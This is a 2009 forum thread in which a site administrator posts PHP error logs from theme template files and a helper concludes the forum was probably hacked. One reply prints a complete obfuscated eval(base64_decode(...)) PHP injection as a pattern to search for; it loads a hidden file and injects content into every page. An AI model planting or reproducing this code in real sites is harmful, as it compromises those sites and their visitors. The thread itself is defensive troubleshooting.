Print Page - I wa scurious if these error messages were caused by a spambot

Title: I wa scurious if these error messages were caused by a spambot
Post by: hygron on July 04, 2009, 04:33:41 PM

Took me forever to figure out how to post new topic. :blush:

I have a question for one of you more experienced folks regarding error messages generated by new members. some were from guest usergroup w/same IP, then I see where IP joined forum, and generated similar error messages. Is this what you see when a spambot is trying to gain access?

here are some error messages wth the IP (started with 41.xxx.xxx.xx and part of (url.path) deleted.

: Undefined variable: R9DB9E103E88D622316D42B508D6D11AB
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (eval?)
Line: 1
   June 23, 2009, 02:28:22 AM
Guest    8: Undefined index: dhhag
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (eval?)
Line: 1
   June 23, 2009, 02:28:22 AM
Guest    2: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (eval?)
Line: 1
   June 23, 2009, 02:28:22 AM
Guest    2: strpos() [<a href='function.strpos'>function.strpos</a>]: Offset not contained in string
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (eval?)
Line: 1
   June 23, 2009, 02:28:22 AM
Guest    8: Undefined variable: context
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (main_above sub template - eval?)
Line: 689
   June 23, 2009, 02:28:22 AM
Guest    8: Undefined variable: context
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (main_above sub template - eval?)
Line: 687
   June 23, 2009, 02:28:22 AM
Guest    8: Undefined variable: context
File: /home/content/hygron/html/forum1/forum1/Themes/default/TPortal.template.php (main_above sub template - eval?)
Line: 685
   June 23, 2009, 02:28:22 AM
celina111    8: Undefined index: dhhag
File: /home/content/hygron/html/forum1/forum1/Themes/default/languages/TPortal.english.php (eval?)
Line: 1
?action=logout;sesc    June 23, 2009, 02:28:21 AM
celina111    8: Undefined index: dhhag
File: /home/content/hygron/html/forum1/forum1/Themes/default/Memberlist.template.php (eval?)
Line: 1
?action=mlist    June 23, 2009, 02:27:47 AM
celina111    2: gzinflate() [<a href='function.gzinflate'>function.gzinflate</a>]: data error
File: /home/content/hygron/html/forum1/forum1/Themes/default/Memberlist.template.php (eval?)
Line: 1
?action=mlist    June 23, 2009, 02:27:47 AM
celina111    2: strpos() [<a href='function.strpos'>function.strpos</a>]: Offset not contained in string
File: /home/content/hygron/html/forum1/forum1/Themes/default/Memberlist.template.php (eval?)
Line: 1
?action=mlist

Title: Re: I wa scurious if these error messages were caused by a spambot
Post by: Skhilled on July 04, 2009, 05:01:42 PM

Crap! I think you've been hacked but not sure. I googled the "Undefined index: dhhag" error and most of the topics I've read are where the forum was hacked.

Give me a few to finish reading up on it for you.

Title: Re: I wa scurious if these error messages were caused by a spambot
Post by: Skhilled on July 04, 2009, 05:03:52 PM

Check your smf php files and see if any of the index.php or theme files have something like this in them:

Code Select

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdlmKGZpbGVfZXhpc3RzKCcvaG9tZS92b3dvZmF
wYS9wdWJsaWNfaHRtbC9mb3J1bS9GQ0tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvY29wcGVyLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL3Zvd29m
YXBhL3B1YmxpY19odG1sL2ZvcnVtL0ZDS2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy9pY29ucy8zMi9jb3BwZXIucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ
1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZig
kZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDAp
LCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50L
UVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO
31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

Title: Re: I wa scurious if these error messages were caused by a spambot
Post by: Skhilled on July 04, 2009, 06:36:57 PM

This is about the user in question...

* Link is no longer valid...

Title: Re: I wa scurious if these error messages were caused by a spambot
Post by: Skhilled on July 04, 2009, 08:53:17 PM

Taking a nap but I'll be back. :)

Docskillz

The Good Stuff => SMF and Mods Docs => Topic started by: hygron on July 04, 2009, 04:33:41 PM